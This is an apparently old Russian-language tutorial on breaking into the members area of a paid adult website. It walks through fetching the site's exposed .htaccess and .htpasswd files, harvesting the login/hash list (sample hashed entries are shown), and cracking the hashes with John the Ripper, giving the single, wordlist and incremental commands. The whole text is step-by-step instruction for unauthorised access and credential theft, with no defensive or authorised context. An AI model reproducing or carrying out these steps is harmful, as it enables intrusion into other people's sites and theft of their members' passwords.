Шаг (1)
Идите сами знаете куда и возьмите там работающий пароль к сайту который вы
хотите взломать.
Шаг (2)
Затем вы должны войти на этот xxx сайт в "members section" ну например так
www.xxxsite.com/members/index.html или типа этого..
Шаг (3)
Удалите слово index.html и наберите .htaccess например:
www.xxxsite.com/members/.htaccess
Если вам повезет вы получите нижеследующее:
AuthUserFile /www/xxxsite/members/.htpasswd <- место где лежит файл с
паролями. AuthGroupFile /dev/null <- место где лежит groupfile
AuthName Members Only Directory <-место где находится popup который просит
вас ввести password/login
AuthType Basic <- другие типы авторизации apache btw.
Limit GET POST PUT <-
require valid-user <-
Но реально вся эта лабуда не нужна для начала если .htaccess прошел сразу
вместо него пишите .htpasswd и все OK.
Шаг (4), найдите passwordfile ( .htpasswd)
Шаг (5), удалите .htaccess и вместо наберите ( .htpasswd )
например :www.xxxsite.com/members/.htpasswd. После этого вы получите
passwordlist. Пароли будут зашифрованы. Это будет выглядеть так:

ocean:q8ERltHeoxRG.
sydgator:458mLs4euQHwo
demi1:o7ad9QtJIklTY
demi2:Fx93hhGP/oTs6Y
233244:ZXEHRGfdsL9E346

Первое слово - логин , остальное после : пароли
Шаг (6)
Чтобы раскодировать пароли надо сначала скачать декодер ,например"John
the ripper" .
John the ripper расшифрует пароли на это уйдет примерно. ( 15000/сек. на
166mmx)

Шаг (7), Сохраните полученные логины и пароли
Шаг (8), Разархивируйте John The Ripper и наберите:
( предварительно поместив текстовый файл в директорию где лежит ripper)
John xxx.txt -single (Это самый быстрый способ и самый простой
алгоритм.)
John xxx.txt -wordfile:password.lst (Это посложней)
John xxx.txt -incremental (Это самый сложный алгоритм и занимает время
зато самый надежный)